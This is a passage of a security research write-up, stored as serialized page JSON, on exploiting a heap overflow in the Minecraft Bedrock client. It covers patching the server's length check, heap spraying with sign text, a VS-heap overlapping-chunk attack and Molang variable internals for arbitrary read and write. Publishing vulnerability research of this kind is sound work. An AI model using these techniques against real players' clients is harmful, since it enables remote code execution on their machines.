for the mentioned chunk-overlap technique.",{"type":22,"tag":23,"props":153226,"children":153227},{},[153228],{"type":27,"value":153229},"Before abandoning the idea entirely, we considered one possibility: perhaps this check only occurs server-side, and the client might not validate the length of the data it receives.",{"type":22,"tag":23,"props":153231,"children":153232},{},[153233],{"type":27,"value":153234},"We searched for the error message in the Bedrock server executable and located the length-validation logic:",{"type":22,"tag":23,"props":153236,"children":153237},{},[153238],{"type":22,"tag":215,"props":153239,"children":153241},{"alt":51899,"src":153240},"/posts/minecraft-heap-overflow-to-rce/image4.png",[],{"type":22,"tag":23,"props":153243,"children":153244},{},[153245,153247,153253],{"type":27,"value":153246},"Although the involved functions are unnamed, it’s clear that we always want execution to take the ",{"type":22,"tag":257,"props":153248,"children":153250},{"className":153249},[],[153251],{"type":27,"value":153252},"string_length \u003C= 512",{"type":27,"value":153254}," branch, regardless of the actual length. Otherwise, the error is thrown and the client never allocates the desired chunk.",{"type":22,"tag":23,"props":153256,"children":153257},{},[153258],{"type":27,"value":153259},"The disassembly of the comparison looks like this:",{"type":22,"tag":23,"props":153261,"children":153262},{},[153263],{"type":22,"tag":215,"props":153264,"children":153266},{"alt":51899,"src":153265},"/posts/minecraft-heap-overflow-to-rce/image5.png",[],{"type":22,"tag":23,"props":153268,"children":153269},{},[153270,153272,153277,153279,153284,153285,153290,153292,153298,153300,153306,153308,153313,153315,153320],{"type":27,"value":153271},"The code compares ",{"type":22,"tag":257,"props":153273,"children":153275},{"className":153274},[],[153276],{"type":27,"value":58095},{"type":27,"value":153278}," (the string length) to ",{"type":22,"tag":257,"props":153280,"children":153282},{"className":153281},[],[153283],{"type":27,"value":129114},{"type":27,"value":4370},{"type":22,"tag":257,"props":153286,"children":153288},{"className":153287},[],[153289],{"type":27,"value":153222},{"type":27,"value":153291}," decimal). It then performs a ",{"type":22,"tag":257,"props":153293,"children":153295},{"className":153294},[],[153296],{"type":27,"value":153297},"jbe",{"type":27,"value":153299},", jumping to address ",{"type":22,"tag":257,"props":153301,"children":153303},{"className":153302},[],[153304],{"type":27,"value":153305},"0x14275114c",{"type":27,"value":153307}," if ",{"type":22,"tag":257,"props":153309,"children":153311},{"className":153310},[],[153312],{"type":27,"value":58095},{"type":27,"value":153314}," is less than or equal to ",{"type":22,"tag":257,"props":153316,"children":153318},{"className":153317},[],[153319],{"type":27,"value":153222},{"type":27,"value":153321},". That target location contains the logic that instructs the client to update the sign text - the branch we want to reach every time.",{"type":22,"tag":23,"props":153323,"children":153324},{},[153325,153327,153332,153334,153340],{"type":27,"value":153326},"To force execution down this path, we patched the ",{"type":22,"tag":257,"props":153328,"children":153330},{"className":153329},[],[153331],{"type":27,"value":153297},{"type":27,"value":153333}," instruction to an unconditional ",{"type":22,"tag":257,"props":153335,"children":153337},{"className":153336},[],[153338],{"type":27,"value":153339},"jmp",{"type":27,"value":153341},", ensuring the correct branch is always taken, regardless of the comparison result.",{"type":22,"tag":23,"props":153343,"children":153344},{},[153345],{"type":22,"tag":215,"props":153346,"children":153348},{"alt":51899,"src":153347},"/posts/minecraft-heap-overflow-to-rce/image6.png",[],{"type":22,"tag":23,"props":153350,"children":153351},{},[153352,153354,153359,153361,153366],{"type":27,"value":153353},"After patching the server and calling ",{"type":22,"tag":257,"props":153355,"children":153357},{"className":153356},[],[153358],{"type":27,"value":151463},{"type":27,"value":153360}," with a size of ",{"type":22,"tag":257,"props":153362,"children":153364},{"className":153363},[],[153365],{"type":27,"value":59469},{"type":27,"value":153367},", the operation now executes successfully, and the client happily allocates a chunk of that size:",{"type":22,"tag":23,"props":153369,"children":153370},{},[153371],{"type":22,"tag":215,"props":153372,"children":153374},{"alt":51899,"src":153373},"/posts/minecraft-heap-overflow-to-rce/image7.png",[],{"type":22,"tag":20097,"props":153376,"children":153377},{},[],{"type":22,"tag":23,"props":153379,"children":153380},{},[153381],{"type":27,"value":153382},"Having a way to spray the heap is great - we can now use the previously mentioned technique to create overlapping chunks in the VS heap, or use it to shape the LFH so that the 4-byte overflow can overwrite an internal Minecraft structure.",{"type":22,"tag":23,"props":153384,"children":153385},{},[153386],{"type":27,"value":153387},"At the time, we couldn't find any useful Minecraft structures to abuse with just a 4-byte OOB write, so we worked on getting overlapping chunks instead.",{"type":22,"tag":181,"props":153389,"children":153391},{"id":153390},"overlapping-heap-chunks",[153392],{"type":27,"value":153393},"Overlapping Heap Chunks",{"type":22,"tag":23,"props":153395,"children":153396},{},[153397,153399,153404],{"type":27,"value":153398},"The attack is described in detail in the referenced blog post (",{"type":22,"tag":69,"props":153400,"children":153402},{"href":151207,"rel":153401},[73],[153403],{"type":27,"value":48904},{"type":27,"value":153405},"), so we will present a high-level overview.",{"type":22,"tag":23,"props":153407,"children":153408},{},[153409,153411,153417],{"type":27,"value":153410},"The core idea is to insert a large chunk that overlaps other chunks above it into the free list. To understand this, some basic knowledge of ",{"type":22,"tag":257,"props":153412,"children":153414},{"className":153413},[],[153415],{"type":27,"value":153416},"_HEAP_VS_CHUNK_HEADER",{"type":27,"value":153418}," structure layout is required:",{"type":22,"tag":618,"props":153420,"children":153422},{"code":153421},"     +---------------------------+           +---------------+\n+0x0 |_HEAP_VS_CHUNK_HEADER_SIZE +----> +0x0 |MemoryCost     |\n     +---------------------------+           +---------------+\n+0x8 |EncodedSegmentPageOffset   |      +0x2 |UnsafeSize     |\n     +---------------------------+           +---------------+\n+0x8 |UnusedBytes                |      +0x4 |UnsafePrevSize |\n     +---------------------------+           +---------------+\n     |           . . .           |      +0x6 |Allocated      |\n                                             +---------------+\n                                             |     . . .     |\n",[153423],{"type":22,"tag":257,"props":153424,"children":153425},{"__ignoreMap":7},[153426],{"type":27,"value":153421},{"type":22,"tag":23,"props":153428,"children":153429},{},[153430,153432,153438,153440,153446,153447,153453,153454,153460,153462,153467,153469,153474,153476,153482,153484,153489,153491,153497],{"type":27,"value":153431},"At offset 0 there is a header ",{"type":22,"tag":257,"props":153433,"children":153435},{"className":153434},[],[153436],{"type":27,"value":153437},"_HEAP_VS_CHUNK_HEADER_SIZE",{"type":27,"value":153439}," containing fields such as ",{"type":22,"tag":257,"props":153441,"children":153443},{"className":153442},[],[153444],{"type":27,"value":153445},"MemoryCost",{"type":27,"value":4380},{"type":22,"tag":257,"props":153448,"children":153450},{"className":153449},[],[153451],{"type":27,"value":153452},"UnsafeSize",{"type":27,"value":4380},{"type":22,"tag":257,"props":153455,"children":153457},{"className":153456},[],[153458],{"type":27,"value":153459},"UnsafePrevSize",{"type":27,"value":153461},", etc. For the attack we only care about the ",{"type":22,"tag":257,"props":153463,"children":153465},{"className":153464},[],[153466],{"type":27,"value":153452},{"type":27,"value":153468}," field: it holds the size of the chunk as its value. Specifically the value is size divided by ",{"type":22,"tag":257,"props":153470,"children":153472},{"className":153471},[],[153473],{"type":27,"value":127737},{"type":27,"value":153475},", so for a chunk of size ",{"type":22,"tag":257,"props":153477,"children":153479},{"className":153478},[],[153480],{"type":27,"value":153481},"0x4010",{"type":27,"value":153483}," the value of ",{"type":22,"tag":257,"props":153485,"children":153487},{"className":153486},[],[153488],{"type":27,"value":153452},{"type":27,"value":153490}," would be ",{"type":22,"tag":257,"props":153492,"children":153494},{"className":153493},[],[153495],{"type":27,"value":153496},"0x401",{"type":27,"value":210},{"type":22,"tag":23,"props":153499,"children":153500},{},[153501,153502,153507],{"type":27,"value":65539},{"type":22,"tag":257,"props":153503,"children":153505},{"className":153504},[],[153506],{"type":27,"value":153452},{"type":27,"value":153508}," field is a 2-byte field located at offset 0x2 relative to the header. Because of that, it can be fully overwritten by the final two bytes of the 4-byte OOB write.",{"type":22,"tag":23,"props":153510,"children":153511},{},[153512,153514,153519,153521,153526,153528,153534,153536,153541],{"type":27,"value":153513},"The field is encoded with a random key that we do not know, so the exact bytes which we overwrite it with don't matter and the size after will be random. That said, by overwriting ",{"type":22,"tag":257,"props":153515,"children":153517},{"className":153516},[],[153518],{"type":27,"value":153452},{"type":27,"value":153520}," in the smallest possible VS chunk (",{"type":22,"tag":257,"props":153522,"children":153524},{"className":153523},[],[153525],{"type":27,"value":153481},{"type":27,"value":153527},"), we maximize the probability that the decoded size becomes larger than the original. Since the decoded size will be anywhere in ",{"type":22,"tag":257,"props":153529,"children":153531},{"className":153530},[],[153532],{"type":27,"value":153533},"[0x10, 0xffff0]",{"type":27,"value":153535}," range, the probability that it exceeds ",{"type":22,"tag":257,"props":153537,"children":153539},{"className":153538},[],[153540],{"type":27,"value":153481},{"type":27,"value":153542}," is:",{"type":22,"tag":618,"props":153544,"children":153546},{"code":153545},"1 - ((0x4010 - 0x10) / (0xffff0 - 0x10)) ~= 98.4%\n",[153547],{"type":22,"tag":257,"props":153548,"children":153549},{"__ignoreMap":7},[153550],{"type":27,"value":153545},{"type":22,"tag":23,"props":153552,"children":153553},{},[153554],{"type":27,"value":153555},"Thus, there is roughly a 98% chance that the resulting decoded size will be larger than the original chunk size.",{"type":22,"tag":23,"props":153557,"children":153558},{},[153559],{"type":27,"value":153560},"Considering there are slight differences between the kernel and userland heap, and that maximizing the success rate of the attack doesn't matter as much for purposes of this writeup, we will do a simplified attack to the one in the referenced blogpost.",{"type":22,"tag":20197,"props":153562,"children":153564},{"id":153563},"overlap-attack-overview",[153565],{"type":27,"value":153566},"Overlap Attack Overview",{"type":22,"tag":23,"props":153568,"children":153569},{},[153570,153572,153577],{"type":27,"value":153571},"The goal of the attack is to overwrite the first four bytes of the VS chunk header that we control - in this case the allocation that holds sign text. We then call ",{"type":22,"tag":257,"props":153573,"children":153575},{"className":153574},[],[153576],{"type":27,"value":127760},{"type":27,"value":153578}," on the overwritten chunk so it is inserted into the free list as an overly large chunk, which we can use to create overlaps.",{"type":22,"tag":23,"props":153580,"children":153581},{},[153582,153584,153589,153591,153596],{"type":27,"value":153583},"We don't know the remote client's exact heap layout, but it likely contains ",{"type":22,"tag":257,"props":153585,"children":153587},{"className":153586},[],[153588],{"type":27,"value":149466},{"type":27,"value":153590},"-sized chunks in the free list that we want to avoid. If a ",{"type":22,"tag":257,"props":153592,"children":153594},{"className":153593},[],[153595],{"type":27,"value":149466},{"type":27,"value":153597},"-sized free chunk is used, the 4-byte OOB write could clobber some unknown chunk above it that we don’t control.",{"type":22,"tag":23,"props":153599,"children":153600},{},[153601,153603,153608],{"type":27,"value":153602},"To remove those ",{"type":22,"tag":257,"props":153604,"children":153606},{"className":153605},[],[153607],{"type":27,"value":149466},{"type":27,"value":153609},"-sized chunks from the free list we allocate many signs of that size. The allocator will first reuse free-list entries and then create new regions when the free list is exhausted.",{"type":22,"tag":23,"props":153611,"children":153612},{},[153613],{"type":27,"value":153614},"After draining the free list, we spray the VS heap with many more chunks of the same size. If the free list has been emptied, most of these allocations will be contiguous, producing many adjacent sign allocations like:",{"type":22,"tag":618,"props":153616,"children":153618},{"code":153617},"+--------+--------+--------+--------+--------+\n|        |        |        |        |        |\n| Sign A | Sign B | Sign C | Sign D | Sign F |\n|        |        |        |        |        |\n+--------+--------+--------+--------+--------+\n",[153619],{"type":22,"tag":257,"props":153620,"children":153621},{"__ignoreMap":7},[153622],{"type":27,"value":153617},{"type":22,"tag":23,"props":153624,"children":153625},{},[153626,153628,153633,153635,153640],{"type":27,"value":153627},"Next we create ",{"type":22,"tag":1699,"props":153629,"children":153630},{},[153631],{"type":27,"value":153632},"holes",{"type":27,"value":153634}," in the contiguous spray by freeing every other sign allocation. That inserts ",{"type":22,"tag":257,"props":153636,"children":153638},{"className":153637},[],[153639],{"type":27,"value":149466},{"type":27,"value":153641},"-sized free chunks where we want them - directly below allocated sign chunks:",{"type":22,"tag":618,"props":153643,"children":153645},{"code":153644},"            Free              Free            \n+--------+--------+--------+--------+--------+\n|        |........|        |........|        |\n| Sign A |........| Sign C |........| Sign F |\n|        |........|        |........|        |\n+--------+--------+--------+--------+--------+\n",[153646],{"type":22,"tag":257,"props":153647,"children":153648},{"__ignoreMap":7},[153649],{"type":27,"value":153644},{"type":22,"tag":23,"props":153651,"children":153652},{},[153653,153655,153660,153662,153667],{"type":27,"value":153654},"When a ",{"type":22,"tag":257,"props":153656,"children":153658},{"className":153657},[],[153659],{"type":27,"value":149466},{"type":27,"value":153661}," allocation is later requested, the allocator will likely satisfy it from one of our inserted holes. As a result, the next adjacent allocated chunk’s ",{"type":22,"tag":257,"props":153663,"children":153665},{"className":153664},[],[153666],{"type":27,"value":153452},{"type":27,"value":153668}," field will be overwritten:",{"type":22,"tag":618,"props":153670,"children":153672},{"code":153671},"                           +--------+         \n            Free           |        |         \n+--------+--------+--------+ g->out +--------+\n|        |........|        |        |        |\n| Sign A |........| Sign C +--------+ Sign F |\n|        |........|        |        |        |\n+--------+--------+--------+        +--------+\n",[153673],{"type":22,"tag":257,"props":153674,"children":153675},{"__ignoreMap":7},[153676],{"type":27,"value":153671},{"type":22,"tag":23,"props":153678,"children":153679},{},[153680,153682,153687,153689,153694,153696,153701],{"type":27,"value":153681},"Once ",{"type":22,"tag":257,"props":153683,"children":153685},{"className":153684},[],[153686],{"type":27,"value":153452},{"type":27,"value":153688}," has been overwritten, ",{"type":22,"tag":257,"props":153690,"children":153692},{"className":153691},[],[153693],{"type":27,"value":149466},{"type":27,"value":153695}," allocation is freed immediately after, restoring the previous layout but with ",{"type":22,"tag":257,"props":153697,"children":153699},{"className":153698},[],[153700],{"type":27,"value":153452},{"type":27,"value":153702}," field corrupted:",{"type":22,"tag":618,"props":153704,"children":153706},{"code":153705},"                              UnsafeSize Overwritten\n                                        ^           \n                                        |           \n            Free              Free      |           \n+--------+--------+--------+--------+---+----+      \n|        |........|        |........|        |      \n| Sign A |........| Sign C |........| Sign F |      \n|        |........|        |........|        |      \n+--------+--------+--------+--------+--------+      \n",[153707],{"type":22,"tag":257,"props":153708,"children":153709},{"__ignoreMap":7},[153710],{"type":27,"value":153705},{"type":22,"tag":23,"props":153712,"children":153713},{},[153714],{"type":27,"value":153715},"To avoid adjacent-chunk consolidation in the next phase, we spray additional signs to fill the holes inside our contiguous region:",{"type":22,"tag":618,"props":153717,"children":153719},{"code":153718},"                              UnsafeSize Overwritten\n                                        ^           \n                                        |           \n                                        |           \n+--------+--------+--------+--------+---+----+      \n|        |        |        |        |        |      \n| Sign A | Sign B | Sign C | Sign D | Sign F |      \n|        |        |        |        |        |      \n+--------+--------+--------+--------+--------+      \n",[153720],{"type":22,"tag":257,"props":153721,"children":153722},{"__ignoreMap":7},[153723],{"type":27,"value":153718},{"type":22,"tag":23,"props":153725,"children":153726},{},[153727],{"type":27,"value":153728},"Finally, we free the rest of the contiguous spray. One of the freed allocations will have a corrupted (and likely overly large) size, giving us a much larger overflow:",{"type":22,"tag":618,"props":153730,"children":153732},{"code":153731},"                                       Freed Overwritten   \n                                               |           \n                                    +----------+----------+\n                                    |                     |\n   Free              Free           v                     v\n+--------+--------+--------+--------+--------+- - - - - - -\n|........|        |........|        |........|             \n|........| Sign B |........| Sign D |........| Other chunks\n|........|        |........|        |........|             \n+--------+--------+--------+--------+--------+- - - - - - -\n",[153733],{"type":22,"tag":257,"props":153734,"children":153735},{"__ignoreMap":7},[153736],{"type":27,"value":153731},{"type":22,"tag":20097,"props":153738,"children":153739},{},[],{"type":22,"tag":23,"props":153741,"children":153742},{},[153743],{"type":27,"value":153744},"This yields a substantially larger overflow primitive than the original 4-byte OOB. However, without an information leak, ASLR is still a big issue and finding a single ideal structure was difficult.",{"type":22,"tag":23,"props":153746,"children":153747},{},[153748],{"type":27,"value":153749},"Instead of looking for simple structures, we shifted focus to more complex server-controlled scripting systems executed by the client - eventually finding Molang.",{"type":22,"tag":181,"props":153751,"children":153753},{"id":153752},"molang",[153754],{"type":27,"value":153755},"Molang",{"type":22,"tag":23,"props":153757,"children":153758},{},[153759,153761,153768],{"type":27,"value":153760},"Molang is a Minecraft-specific scripting language designed for simple math operations and a lightweight state model. It typically controls client-side entity animations and can be included in resource packs delivered by the server. A high-level overview is available in the official ",{"type":22,"tag":69,"props":153762,"children":153765},{"href":153763,"rel":153764},"https://learn.microsoft.com/en-us/minecraft/creator/documents/molang/syntax-guide?view=minecraft-bedrock-stable",[73],[153766],{"type":27,"value":153767},"syntax guide",{"type":27,"value":210},{"type":22,"tag":23,"props":153770,"children":153771},{},[153772,153774,153779,153780,153785],{"type":27,"value":153773},"The available base types are simple: numbers are 32-bit floats, and there is a string type for which only the ",{"type":22,"tag":257,"props":153775,"children":153777},{"className":153776},[],[153778],{"type":27,"value":9870},{"type":27,"value":12290},{"type":22,"tag":257,"props":153781,"children":153783},{"className":153782},[],[153784],{"type":27,"value":16988},{"type":27,"value":153786}," operators are supported.",{"type":22,"tag":23,"props":153788,"children":153789},{},[153790,153792,153798,153800,153805,153807,153812,153813,153818,153819],{"type":27,"value":153791},"Variables are defined by prepending ",{"type":22,"tag":257,"props":153793,"children":153795},{"className":153794},[],[153796],{"type":27,"value":153797},"variable.",{"type":27,"value":153799}," to the name and assigning a value. For example, to define ",{"type":22,"tag":257,"props":153801,"children":153803},{"className":153802},[],[153804],{"type":27,"value":10379},{"type":27,"value":153806}," as the sum of ",{"type":22,"tag":257,"props":153808,"children":153810},{"className":153809},[],[153811],{"type":27,"value":69},{"type":27,"value":12290},{"type":22,"tag":257,"props":153814,"children":153816},{"className":153815},[],[153817],{"type":27,"value":2181},{"type":27,"value":1594},{"type":22,"tag":257,"props":153820,"children":153822},{"className":153821},[],[153823],{"type":27,"value":153824},"variable.result = variable.a + variable.b;",{"type":22,"tag":23,"props":153826,"children":153827},{},[153828,153830,153835,153836,153841,153842,153847,153848,153853],{"type":27,"value":153829},"Logical operators such as ",{"type":22,"tag":257,"props":153831,"children":153833},{"className":153832},[],[153834],{"type":27,"value":23719},{"type":27,"value":4380},{"type":22,"tag":257,"props":153837,"children":153839},{"className":153838},[],[153840],{"type":27,"value":74521},{"type":27,"value":4380},{"type":22,"tag":257,"props":153843,"children":153845},{"className":153844},[],[153846],{"type":27,"value":7097},{"type":27,"value":4380},{"type":22,"tag":257,"props":153849,"children":153851},{"className":153850},[],[153852],{"type":27,"value":11760},{"type":27,"value":153854},", etc., are supported, and conditional branching is implemented using ternary-style blocks:",{"type":22,"tag":618,"props":153856,"children":153858},{"code":153857},"(variable.result == 3) ? {\n    return 1;\n} : {\n    return 0;\n}\n",[153859],{"type":22,"tag":257,"props":153860,"children":153861},{"__ignoreMap":7},[153862],{"type":27,"value":153857},{"type":22,"tag":23,"props":153864,"children":153865},{},[153866],{"type":27,"value":153867},"As shown, Molang is very simple, but we hoped it would be sufficient as a second-stage payload to achieve client-side arbitrary read and write.",{"type":22,"tag":20197,"props":153869,"children":153871},{"id":153870},"molang-internals",[153872],{"type":27,"value":153873},"Molang Internals",{"type":22,"tag":23,"props":153875,"children":153876},{},[153877],{"type":27,"value":153878},"What interested us most was how variables are handled. Specifically, we wondered whether we could use the overflow to corrupt a variable and then leverage that corrupted variable to perform arbitrary reads - leaking the information needed to bypass ASLR inside the Molang script, and subsequently use those leaks to carry out arbitrary writes.",{"type":22,"tag":23,"props":153880,"children":153881},{},[153882],{"type":27,"value":153883},"Below we describe the structures involved and their memory layout.",{"type":22,"tag":20197,"props":153885,"children":153887},{"id":153886},"molangvariable-and-molangscriptarg",[153888],{"type":27,"value":153889},"MolangVariable and MolangScriptArg",{"type":22,"tag":23,"props":153891,"children":153892},{},[153893,153894,153900],{"type":27,"value":103672},{"type":22,"tag":257,"props":153895,"children":153897},{"className":153896},[],[153898],{"type":27,"value":153899},"MolangVariable",{"type":27,"value":153901}," structure is created for every declared variable. Simplified, it looks something like this:",{"type":22,"tag":618,"props":153903,"children":153905},{"code":153904,"language":4449,"meta":7,"className":17815,"style":7},"struct MolangVariable {\n    \n    struct HashedString {\n        uint64_t variable_name_hash;\n        std::string variable_name;\n    };\n    \n    struct MolangScriptArg {\n        uint32_t value_type;\n        uint64_t value;\n        std::vector\u003Cstruct MolangScriptArg> struct_fields;\n        \n        [...]\n    };\n};\n",[153906],{"type":22,"tag":257,"props":153907,"children":153908},{"__ignoreMap":7},[153909,153921,153928,153940,153953,153961,153968,153975,153987,154000,154012,154042,154050,154057,154064],{"type":22,"tag":264,"props":153910,"children":153911},{"class":1534,"line":1535},[153912,153916],{"type":22,"tag":264,"props":153913,"children":153914},{"style":4293},[153915],{"type":27,"value":10699},{"type":22,"tag":264,"props":153917,"children":153918},{"style":1539},[153919],{"type":27,"value":153920}," MolangVariable {\n",{"type":22,"tag":264,"props":153922,"children":153923},{"class":1534,"line":1545},[153924],{"type":22,"tag":264,"props":153925,"children":153926},{"style":1539},[153927],{"type":27,"value":63108},{"type":22,"tag":264,"props":153929,"children":153930},{"class":1534,"line":1560},[153931,153935],{"type":22,"tag":264,"props":153932,"children":153933},{"style":4293},[153934],{"type":27,"value":7344},{"type":22,"tag":264,"props":153936,"children":153937},{"style":1539},[153938],{"type":27,"value":153939}," HashedString {\n",{"type":22,"tag":264,"props":153941,"children":153942},{"class":1534,"line":1569},[153943,153948],{"type":22,"tag":264,"props":153944,"children":153945},{"style":4293},[153946],{"type":27,"value":153947},"        uint64_t",{"type":22,"tag":264,"props":153949,"children":153950},{"style":1539},[153951],{"type":27,"value":153952}," variable_name_hash;\n",{"type":22,"tag":264,"props":153954,"children":153955},{"class":1534,"line":1583},[153956],{"type":22,"tag":264,"props":153957,"children":153958},{"style":1539},[153959],{"type":27,"value":153960},"        std::string variable_name;\n",{"type":22,"tag":264,"props":153962,"children":153963},{"class":1534,"line":1603},[153964],{"type":22,"tag":264,"props":153965,"children":153966},{"style":1539},[153967],{"type":27,"value":40311},{"type":22,"tag":264,"props":153969,"children":153970},{"class":1534,"line":1612},[153971],{"type":22,"tag":264,"props":153972,"children":153973},{"style":1539},[153974],{"type":27,"value":63108},{"type":22,"tag":264,"props":153976,"children":153977},{"class":1534,"line":1621},[153978,153982],{"type":22,"tag":264,"props":153979,"children":153980},{"style":4293},[153981],{"type":27,"value":7344},{"type":22,"tag":264,"props":153983,"children":153984},{"style":1539},[153985],{"type":27,"value":153986}," MolangScriptArg {\n",{"type":22,"tag":264,"props":153988,"children":153989},{"class":1534,"line":1629},[153990,153995],{"type":22,"tag":264,"props":153991,"children":153992},{"style":4293},[153993],{"type":27,"value":153994},"        uint32_t",{"type":22,"tag":264,"props":153996,"children":153997},{"style":1539},[153998],{"type":27,"value":153999}," value_type;\n",{"type":22,"tag":264,"props":154001,"children":154002},{"class":1534,"line":1642},[154003,154007],{"type":22,"tag":264,"props":154004,"children":154005},{"style":4293},[154006],{"type":27,"value":153947},{"type":22,"tag":264,"props":154008,"children":154009},{"style":1539},[154010],{"type":27,"value":154011}," value;\n",{"type":22,"tag":264,"props":154013,"children":154014},{"class":1534,"line":1660},[154015,154020,154024,154028,154033,154037],{"type":22,"tag":264,"props":154016,"children":154017},{"style":1539},[154018],{"type":27,"value":154019},"        std::vector",{"type":22,"tag":264,"props":154021,"children":154022},{"style":4309},[154023],{"type":27,"value":7097},{"type":22,"tag":264,"props":154025,"children":154026},{"style":4293},[154027],{"type":27,"value":10699},{"type":22,"tag":264,"props":154029,"children":154030},{"style":1539},[154031],{"type":27,"value":154032}," MolangScriptArg",{"type":22,"tag":264,"props":154034,"children":154035},{"style":4309},[154036],{"type":27,"value":11760},{"type":22,"tag":264,"props":154038,"children":154039},{"style":1539},[154040],{"type":27,"value":154041}," struct_fields;\n",{"type":22,"tag":264,"props":154043,"children":154044},{"class":1534,"line":1668},[154045],{"type":22,"tag":264,"props":154046,"children":154047},{"style":1539},[154048],{"type":27,"value":154049},"        \n",{"type":22,"tag":264,"props":154051,"children":154052},{"class":1534,"line":1677},[154053],{"type":22,"tag":264,"props":154054,"children":154055},{"style":1539},[154056],{"type":27,"value":125339},{"type":22,"tag":264,"props":154058,"children":154059},{"class":1534,"line":1686},[154060],{"type":22,"tag":264,"props":154061,"children":154062},{"style":1539},[154063],{"type":27,"value":40311},{"type":22,"tag":264,"props":154065,"children":154066},{"class":1534,"line":4948},[154067],{"type":22,"tag":264,"props":154068,"children":154069},{"style":1539},[154070],{"type":27,"value":17878},{"type":22,"tag":23,"props":154072,"children":154073},{},[154074,154076,154081],{"type":27,"value":154075},"In memory a ",{"type":22,"tag":257,"props":154077,"children":154079},{"className":154078},[],[154080],{"type":27,"value":153899},{"type":27,"value":154082}," instance resembles:",{"type":22,"tag":618,"props":154084,"children":154086},{"code":154085},"      +---------------+---------------+\n+0x00 |  FNV-1 hash   |std::string.buf|\n      +---------------+---------------+\n+0x10 |std::string.buf|std::string.len|\n      +---------------+---------------+\n+0x20 |std::string.cap|   Unknown     |\n      +-------+-------+---------------+\n+0x30 | Type  |Unused |Variable value |\n      +-------+-------+---------------+\n+0x40 |std::vector.buf|std::vector.len|\n      +---------------+---------------+\n+0x50 |std::vector.cap|   Unknown     |\n      +---------------+---------------+\n      |     . . .     |     . . .     |\n",[154087],{"type":22,"tag":257,"props":154088,"children":154089},{"__ignoreMap":7},[154090],{"type":27,"value":154085},{"type":22,"tag":23,"props":154092,"children":154093},{},[154094],{"type":27,"value":154095},"For reference, example debugger view of the layout:",{"type":22,"tag":23,"props":154097,"children":154098},{},[154099],{"type":22,"tag":215,"props":154100,"children":154102},{"alt":51899,"src":154101},"/posts/minecraft-heap-overflow-to-rce/image8.png",[],{"type":22,"tag":23,"props":154104,"children":154105},{},[154106],{"type":27,"value":154107},"The full structure is larger and contains more fields than shown, but many are irrelevant to the exploit.",{"type":22,"tag":23,"props":154109,"children":154110},{},[154111,154113,154119,154121,154126,154128,154134,154136,154141,154142,154147,154149,154154,154155,154161,154162,154168],{"type":27,"value":154112},"We only care about the ",{"type":22,"tag":257,"props":154114,"children":154116},{"className":154115},[],[154117],{"type":27,"value":154118},"MolangScriptArg",{"type":27,"value":154120}," beginning at offset ",{"type":22,"tag":257,"props":154122,"children":154124},{"className":154123},[],[154125],{"type":27,"value":130218},{"type":27,"value":154127}," because it contains variable values. In the screenshot above, the ",{"type":22,"tag":257,"props":154129,"children":154131},{"className":154130},[],[154132],{"type":27,"value":154133},"value_type",{"type":27,"value":154135}," at ",{"type":22,"tag":257,"props":154137,"children":154139},{"className":154138},[],[154140],{"type":27,"value":130218},{"type":27,"value":6791},{"type":22,"tag":257,"props":154143,"children":154145},{"className":154144},[],[154146],{"type":27,"value":5334},{"type":27,"value":154148}," (meaning float), and the ",{"type":22,"tag":257,"props":154150,"children":154152},{"className":154151},[],[154153],{"type":27,"value":40466},{"type":27,"value":154135},{"type":22,"tag":257,"props":154156,"children":154158},{"className":154157},[],[154159],{"type":27,"value":154160},"0x38",{"type":27,"value":6791},{"type":22,"tag":257,"props":154163,"children":154165},{"className":154164},[],[154166],{"type":27,"value":154167},"0xbf2070c8",{"type":27,"value":210},{"type":22,"tag":23,"props":154170,"children":154171},{},[154172,154174,154180,154182,154187,154189,154194,154195,154200,154202,154207,154209,154214],{"type":27,"value":154173},"During assignment, such as ",{"type":22,"tag":257,"props":154175,"children":154177},{"className":154176},[],[154178],{"type":27,"value":154179},"variable.a = variable.b",{"type":27,"value":154181},", each field of ",{"type":22,"tag":257,"props":154183,"children":154185},{"className":154184},[],[154186],{"type":27,"value":154118},{"type":27,"value":154188}," is copied from variable ",{"type":22,"tag":257,"props":154190,"children":154192},{"className":154191},[],[154193],{"type":27,"value":2181},{"type":27,"value":58097},{"type":22,"tag":257,"props":154196,"children":154198},{"className":154197},[],[154199],{"type":27,"value":69},{"type":27,"value":154201},". Interestingly, the ",{"type":22,"tag":257,"props":154203,"children":154205},{"className":154204},[],[154206],{"type":27,"value":40466},{"type":27,"value":154208}," field is always copied as a ",{"type":22,"tag":257,"props":154210,"children":154212},{"className":154211},[],[154213],{"type":27,"value":56956},{"type":27,"value":154215}," even if the type is a 32-bit float.",{"type":22,"tag":23,"props":154217,"children":154218},{},[154219,154221,154227],{"type":27,"value":154220},"Each entity stores its variables in a per-entity vector called ",{"type":22,"tag":257,"props":154222,"children":154224},{"className":154223},[],[154225],{"type":27,"value":154226},"MolangVariableMap",{"type":27,"value":210},{"type":22,"tag":20197,"props":154229,"children":154231},{"id":154230},"molangvariablemap",[154232],{"type":27,"value":154226},{"type":22,"tag":23,"props":154234,"children":154235},{},[154236,154241,154243,154249,154251,154257],{"type":22,"tag":257,"props":154237,"children":154239},{"className":154238},[],[154240],{"type":27,"value":154226},{"type":27,"value":154242}," is simply a ",{"type":22,"tag":257,"props":154244,"children":154246},{"className":154245},[],[154247],{"type":27,"value":154248},"std::vector\u003CMolangVariable *>",{"type":27,"value":154250}," contained per entity. To reason about its memory we need to recall MSVC ",{"type":22,"tag":257,"props":154252,"children":154254},{"className":154253},[],[154255],{"type":27,"value":154256},"std::vector",{"type":27,"value":154258}," layout:",{"type":22,"tag":618,"props":154260,"children":154262},{"code":154261,"language":4449,"meta":7,"className":17815,"style":7},"struct vector {\n    void *buf;\n    void *len;\n    void *cap;\n};\n",[154263],{"type":22,"tag":257,"props":154264,"children":154265},{"__ignoreMap":7},[154266,154278,154294,154310,154326],{"type":22,"tag":264,"props":154267,"children":154268},{"class":1534,"line":1535},[154269,154273],{"type":22,"tag":264,"props":154270,"children":154271},{"style":4293},[154272],{"type":27,"value":10699},{"type":22,"tag":264,"props":154274,"children":154275},{"style":1539},[154276],{"type":27,"value":154277}," vector 